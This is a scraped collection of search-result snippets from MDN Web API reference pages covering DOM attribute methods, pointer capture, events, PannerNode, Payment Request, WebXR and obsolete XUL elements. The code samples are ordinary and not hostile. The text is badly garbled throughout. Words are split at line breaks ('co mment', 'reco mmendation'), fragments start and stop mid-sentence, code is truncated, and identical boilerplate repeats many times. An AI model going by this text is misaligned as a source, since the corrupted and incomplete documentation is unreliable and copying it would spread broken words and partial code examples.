mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status co
mment domthe definition of 'element.getattributens()' in that specification.
Element.getAttributeNodeNS() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status co
mment domthe definition of 'getattributenodens()' in that specification.
Element.hasAttribute() - Web APIs
ment.getelementbyid("foo"); if (foo.hasattribute("bar")) { // do something } polyfill ;(function(prototype) { prototype.hasattribute = prototype.hasattribute || function(name) { return !!(this.attributes[name] && this.attributes[name].specified); } })(element.prototype); notes dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status co
mment domthe definition of 'element.hasattribute()' in that specification.
Element.hasAttributeNS() - Web APIs
example // check that the attribute exists before you set a value var d = document.getelementbyid("div1"); if (d.hasattributens( "http://www.mozilla.org/ns/specialspace/", "special-align")) { d.setattribute("align", "center"); } notes dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status co
mment domthe definition of 'document.hasattributens' in that specification.
Element.hasPointerCapture() - Web APIs
} } function init() { const el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target">touch this element with a pointer.</div> </body> </html> specifications specification status co
mment pointer events – level 2the definition of 'haspointercapture()' in that specification.
... reco
mmendation ...
Element.id - Web APIs
another co
mmon case is to use an element's id as a selector when styling the document with css.
... specifications specification status co
mment domthe definition of 'id' in that specification.
Element.insertAdjacentHTML() - Web APIs
it is not reco
mmended you use insertadjacenthtml() when inserting plain text; instead, use the node.textcontent property or the element.insertadjacenttext() method.
... specification specification status co
mment dom parsing and serializationthe definition of 'element.insertadjacenthtml()' in that specification.
Element.localName - Web APIs
for example, in the qualified name eco
mm:partners, partners is the local name and eco
mm is the prefix: <eco
mm:business id="soda_shop" type="brick_n_mortar" xmlns:eco
mm="http://example.com/eco
mm"> <eco
mm:partners> <eco
mm:partner id="1001">tony's syrup warehouse </eco
mm:partner> </eco
mm:partner> </eco
mm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html eleme...
... specifications specification status co
mment domthe definition of 'element.localname' in that specification.
Element.releasePointerCapture() - Web APIs
pture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup = stopsliding; result specifications specification status co
mment pointer events – level 2the definition of 'releasepointercapture' in that specification.
... reco
mmendation non-stable version.
Element.removeAttribute() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - example // given: <div id="div1" align="left" width="200px"> document.getelementbyid("div1").removeattribute("align"); // now: <div id="div1" width="200px"> specifications specification status co
mment domthe definition of 'element" removeattribute' in that specification.
Element.removeAttributeNS() - Web APIs
example // given: // <div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace" // special:specialalign="utterleft" width="200px" /> d = document.getelementbyid("div1"); d.removeattributens("http://www.mozilla.org/ns/specialspace", "specialalign"); // now: <div id="div1" width="200px" /> notes dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status co
mment domthe definition of 'element: removeattributens' in that specification.
Element.requestPointerLock() - Web APIs
syntax instanceofelement.requestpointerlock(); specifications specification status co
mment pointer lockthe definition of 'requestpointerlock()' in that specification.
... candidate reco
mmendation ...
Element.scrollHeight - Web APIs
ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...= document.createelement("span"); document.registration.accept.checked = false; checkreading.noticebox.id = "notice"; otoberead.parentnode.insertbefore(checkreading.noticebox, otoberead); otoberead.parentnode.insertbefore(document.createelement("br"), otoberead); otoberead.onscroll = checkreading; checkreading.call(otoberead); } specifications specification status co
mment css object model (cssom) view modulethe definition of 'element.scrollheight' in that specification.
Element.scrollTop - Web APIs
ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...if you can see this, scrolltop is maxed-out padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status co
mment css object model (cssom) view modulethe definition of 'scrolltop' in that specification.
Element.setAttributeNS() - Web APIs
example let d = document.getelementbyid('d1'); d.setattributens('http://www.mozilla.org/ns/specialspace', 'spec:align', 'center'); notes dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
... specifications specification status co
mment domthe definition of 'document.setattributens' in that specification.
Element.setAttributeNode() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status co
mment domthe definition of 'setattributenode()' in that specification.
Element.setAttributeNodeNS() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status co
mment domthe definition of 'document.setattributenodens' in that specification.
Element.setPointerCapture() - Web APIs
pture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup = stopsliding; result specifications specification status co
mment pointer events – level 2the definition of 'setpointercapture' in that specification.
... reco
mmendation non-stable version.
Element.toggleAttribute() - Web APIs
html <input value="text"> <button>toggleattribute("readonly")</button> javascript var button = document.queryselector("button"); var input = document.queryselector("input"); button.addeventlistener("click", function(){ input.toggleattribute("readonly"); }); result dom methods dealing with element's attributes: not namespace-aware, most co
mmonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...oggleattribute) { element.prototype.toggleattribute = function(name, force) { if(force !== void 0) force = !!force if (this.hasattribute(name)) { if (force) return true; this.removeattribute(name); return false; } if (force === false) return false; this.setattribute(name, ""); return true; }; } specification specification status co
mment domthe definition of 'element.toggleattribute' in that specification.
ElementCSSInlineStyle - Web APIs
the elementcssinlinestyle mixin describes cssom-specific features co
mmon to the htmlelement, svgelement and mathmlelement interfaces.
... specifications specification status co
mment css object model (cssom)the definition of 'htmlorforeignelement' in that specification.
ErrorEvent - Web APIs
specifications specification status co
mment html living standardthe definition of 'errorevent' in that specification.
... reco
mmendation initial definition.
Event.explicitOriginalTarget - Web APIs
example this property can be used with <co
mmand> to get the event details of the original object calling the co
mmand.
... function myco
mmand(ev) { alert(ev.explicitoriginaltarget.nodename); // returns 'menuitem' } <xul:co
mmand id="my-cmd-anaction" onco
mmand="myco
mmand(event);"/> <xul:menulist> <xul:menupopup> <xul:menuitem label="get my element name!" co
mmand="my-cmd-anaction"/> </xul:menupopup> </menulist> specifications this is a mozilla-specific property.
Event.preventDefault() - Web APIs
the event continues to propagate as usual, unless one of its event listeners calls stoppropagation() or stopi
mmediatepropagation(), either of which terminates propagation at once.
... specifications specification status co
mment domthe definition of 'event.preventdefault()' in that specification.
Event.returnValue - Web APIs
usage notes returnvalue was introduced into the dom by internet explorer 6, and due to that browser's ubiquity became so co
mmonly used that other browsers eventually implemented it as well.
... specifications specification status co
mment domthe definition of 'returnvalue' in that specification.
Event.type - Web APIs
it is set when the event is constructed and is the name co
mmonly used to refer to the specific event, such as click, load, or error.
...ess', geteventtype, false); // second document.addeventlistener('keyup', geteventtype, false); // third // mouse events document.addeventlistener('mousedown', geteventtype, false); // first document.addeventlistener('mouseup', geteventtype, false); // second document.addeventlistener('click', geteventtype, false); // third result specifications specification status co
mment domthe definition of 'event.type' in that specification.
EventTarget - Web APIs
element, document, and window are the most co
mmon event targets, but other objects can be event targets, too.
... stack.splice(i, 1); return; } } }; eventtarget.prototype.dispatchevent = function(event) { if (!(event.type in this.listeners)) { return true; } var stack = this.listeners[event.type].slice(); for (var i = 0, l = stack.length; i < l; i++) { stack[i].call(this, event); } return !event.defaultprevented; }; specifications specification status co
mment domthe definition of 'eventtarget' in that specification.
PannerNode.coneInnerAngle - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status co
mment web audio apithe definition of 'coneinnerangle' in that specification.
PannerNode.coneOuterAngle - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status co
mment web audio apithe definition of 'coneouterangle' in that specification.
PannerNode.coneOuterGain - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status co
mment web audio apithe definition of 'coneoutergain' in that specification.
PannerNode.orientationX - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status co
mment web audio apithe definition of 'orientationx' in that specification.
PannerNode.orientationY - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status co
mment web audio apithe definition of 'orientationy' in that specification.
PannerNode.orientationZ - Web APIs
as an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); having set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector i
mmediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientationz.setvalueattime(z1, context.currenttime); // calculate the vector for -22.4 degrees // since our coneouterangle is 45, this will just about make the sound audible // if we set it to +/-22.5, the sound volume will be 0, as the threshold is exclusive ...
... osc.connect(panner) .connect(context.destination); osc.start(0); specifications specification status co
mment web audio apithe definition of 'orientationz' in that specification.
PannerNode.refDistance - Web APIs
new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay i
mmediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the previous one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something ...
...like this: specifications specification status co
mment web audio apithe definition of 'refdistance' in that specification.
ParentNode.querySelector() - Web APIs
multiple selectors may be specified by separating them using co
mmas.
... specifications specification status co
mment domthe definition of 'parentnode.queryselector()' in that specification.
ParentNode - Web APIs
the parentnode mixin contains methods and properties that are co
mmon to all types of node objects that can have children.
... specification specification status co
mment domthe definition of 'parentnode' in that specification.
PayerErrors.email - Web APIs
// } specifications specification status co
mment payment request apithe definition of 'payererrors.email' in that specification.
... candidate reco
mmendation initial definition.
PayerErrors.name - Web APIs
// } specifications specification status co
mment payment request apithe definition of 'payererrors.name' in that specification.
... candidate reco
mmendation initial definition.
PayerErrors.phone - Web APIs
// } specifications specification status co
mment payment request apithe definition of 'payererrors.phone' in that specification.
... candidate reco
mmendation initial definition.
PayerErrors - Web APIs
example specifications specification status co
mment payment request apithe definition of 'payererrors' in that specification.
... candidate reco
mmendation initial definition.
PaymentAddress.addressLine - Web APIs
0 metal box factory 1 suite 441, 4th floor 2 30 great guildford street these, combined with additional values for other properties of the paymentaddress, would represent the full address, which is: mozilla metal box factory suite 441, 4th floor 30 great guildford street london se1 0hs united kingdom specifications specification status co
mment payment request apithe definition of 'paymentaddress.addressline' in that specification.
... candidate reco
mmendation initial definition.
PaymentAddress.city - Web APIs
specifications specification status co
mment payment request apithe definition of 'paymentaddress.city' in that specification.
... candidate reco
mmendation initial definition.
XRRigidTransform.inverse - Web APIs
*/ mat4.multiply(modelviewmatrix, view.transform.inverse.matrix, objectmatrix); gl.unifor
mmatrix4fv(programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); /* ...
... specifications specification status co
mment webxr device apithe definition of 'xrrigidtransform.inverse' in that specification.
XRSession.onselectend - Web APIs
the onselectend attribute of the xrsession object is the event handler for the selectend event, which is dispatched when user finishes making some sort of selection by releasing a trigger, touchpad, or button, finishes speaking a co
mmand, or makes a hand gesture.
...} example xrsession.onselectend = function(event) { console.log("the user has completed a primary action.") } specifications specification status co
mment webxr device apithe definition of 'xrsession.onselectend' in that specification.
XRSession.onselectstart - Web APIs
the onselectstart attribute of the xrsession object is the event handler for the selectstart event, which is dispatched when user starts making some sort of selection by pressing a trigger, touchpad, or button, speaking a co
mmand, or making a hand gesture.
...} example xrsession.onselectstart = function(event) { console.log("the user has started a primary action, but might not have completed it.") } specifications specification status co
mment webxr device apithe definition of 'xrsession.onselectstart' in that specification.
XRSession.onsqueezeend - Web APIs
this is sent i
mmediately after the squeeze event, which announces the successful completion of the squeeze action.
... specifications specification status co
mment webxr device apithe definition of 'xrsession.onsqueezeend' in that specification.
XRSession: select event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...o a function that handles the event: xrsession.onselect = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }; specifications specification status co
mment webxr device apithe definition of 'select event' in that specification.
XRSession: selectend event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...etobj, targetraypose.matrix); break; } } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status co
mment webxr device apithe definition of 'selectend event' in that specification.
XRSession: selectstart event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...etobj, targetraypose.matrix); break; } } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status co
mment webxr device apithe definition of 'selectstart event' in that specification.
XRSession: squeeze event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...a function that handles the event: xrsession.onsqueeze = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }; specifications specification status co
mment webxr device apithe definition of 'squeeze event' in that specification.
XRSession: squeezeend event - Web APIs
primary squeeze actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a co
mmand, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...cking(targetobj, targetraypose.matrix); break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status co
mment webxr device apithe definition of 'squeezeend event' in that specification.
XRSessionInit - Web APIs
default features i
mmersive sessions all i
mmersive (both i
mmersive-vr and i
mmersive-ar) sessions support both the viewer and local reference spaces.
... because i
mmersive sessions are required to support the local reference space, any request to open an i
mmersive xrsession is required to obtain explicit or implicit user consent.
XRSystem: ondevicechange - Web APIs
the ondevicechange property of the xrsystem interface is passed a devicechange event whenever availability of an i
mmersive device changes.
...}; value undefined example navigator.xr.ondevicechange = function(ev) { console.log("the availability of i
mmersive xr devices has changed.") }; specifications specification status co
mment webxr device apithe definition of 'ondevicechange ' in that specification.
XRView - Web APIs
it's computed by inverting then transposing the model view matrix: mat4.invert(normalmatrix, modelviewmatrix); mat4.transpose(normalmatrix, normalmatrix); teleporting an object to progra
mmatically move and/or rotate (often referred to as teleporting) an object, you need to create a new reference space for that object which applies a transform that encapsulates the desired changes.
... specifications specification status co
mment webxr device apithe definition of 'xrview' in that specification.
XRViewerPose - Web APIs
for example, every player in a
mmorpg might have an instance of xrviewerpose to provide a way to calculate what they can see; if the game provides a mechanism that tells the player if another player sees them, or that they see another player, this information becomes crucial.
... specifications specification status co
mment webxr device apithe definition of 'xrviewerpose' in that specification.
XRWebGLLayer() - Web APIs
the specified session is i
mmersive but the context is not webxr compatible.
... specifications specification status co
mment webxr device apithe definition of 'xrwebgllayer()' in that specification.
XRWebGLLayer - Web APIs
static methods getnativeframebufferscalefactor() returns the scaling factor that can be used to scale the resolution of the reco
mmended webgl framebuffer resolution to the rendering device's native resolution.
...ame.getviewerpose(xrreferencespace); if (pose) { let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebffer); for (let view of pose.views) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* render the view */ } } specifications specification status co
mment webxr device apithe definition of 'xrwebgllayer' in that specification.
XUL Tutorial - Archive of obsolete content
x model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event handlers more event handlers keyboard shortcuts focus and selection co
mmands updating co
mmands broadcasters and observers document object model document object model modifying a xul interface manipulating lists box objects xpcom interfaces xpcom examples trees trees more tree features tree selection custom tree views tree view details tree box objects rdf and templates introduction to rdf templates trees and templates rdf datasources adv...
Urlbar-icons - Archive of obsolete content
(the url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godoco
mmand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" onclick="handleurlbarco
mmand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
action - Archive of obsolete content
tabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
assign - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
bbox - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
binding - Archive of obsolete content
atabase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
bindings - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
box - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
broadcasterset - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
caption - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
columns - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
